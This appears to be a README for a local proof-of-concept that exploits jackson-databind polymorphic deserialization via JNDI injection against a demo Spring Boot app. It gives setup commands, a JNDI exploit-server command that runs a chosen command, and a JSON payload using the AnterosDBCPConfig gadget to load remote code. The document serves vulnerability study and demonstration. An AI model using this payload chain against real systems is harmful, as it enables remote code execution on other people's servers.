Deserialization vulnerabilities in jackson-databind are exploitable if the following conditions hold:
- Polymorphic type handling has been enabled for jackson-databind (see here or here)
- A gadget class, which loads Java classes through JNDI, is in the classpath and has not yet been blocked by the deny-list implemented in jackson-databind
- The system property
trustURLCodebase
is true, either because the application runs on an old Java version or it has been set explicitely (see here)
- Install Java 8+ and Maven
- Install server toolkit from https://github.com/welk1n/JNDI-Injection-Exploit in folder
lib
- Build the Spring Boot app with
mvn clean package
- Start it with
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar target/springboot-app-0.0.1-SNAPSHOT.jar
- Note: The system property is required on recent Java versions.
- Get JSON with
curl http://localhost:8080/persons/foo
- Post legitimate JSON
curl -X POST -H 'Content-type:application/json;charset=UTF-8' http://localhost:8080/persons -d '
{ "id" : 2,
"firstname" : "John",
"lastname" : "Doe",
"createdAt" : "2024-02-19T10:35:20.867+0000",
"modifiedAt" : "2024-02-19T10:35:20.867+0000"
}'
One gadget class of this vulnerability is br.com.anteros.dbcp.AnterosDBCPConfig
(see here).
-
Run the LDAP and Web server with
java -jar lib/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open http://www.google.de" -A "127.0.0.1"
- The command specified with
-C
will be executed by the Spring Boot application upon deserialization. - Copy one of the
ldap://
URLs shown in the console.
- The command specified with
-
Post a JSON that causes jackson-databind to deserialize the gadget class, which downloads and initializes the backdoor (this only works because the attribute
Person#modifiedAt
is of typeObject
, which is where the polymorphic type handling kicks in).
curl -X POST -H 'Content-type:application/json;charset=UTF-8' http://localhost:8080/persons -d '
{ "id" : 2,
"firstname" : "John",
"lastname" : "Doe",
"createdAt" : "2024-02-19T10:35:20.867+0000",
"modifiedAt" : ["br.com.anteros.dbcp.AnterosDBCPConfig", {"healthCheckRegistry": "<ldap-url>"}]
}'
- Edit the
pom.xml
to declare dependencies on JARs that include the respective gadget classes. - Change the names of the gadget class and attribute in the JSON payload.
- LDAP and Web servers to serve a dummy class upon deserialization
- Background on JSON deserialization
- https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
- https://snyk.io/blog/java-json-deserialization-problems-jackson-objectmapper/
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
- https://github.com/mbechler/marshalsec/blob/master/README.md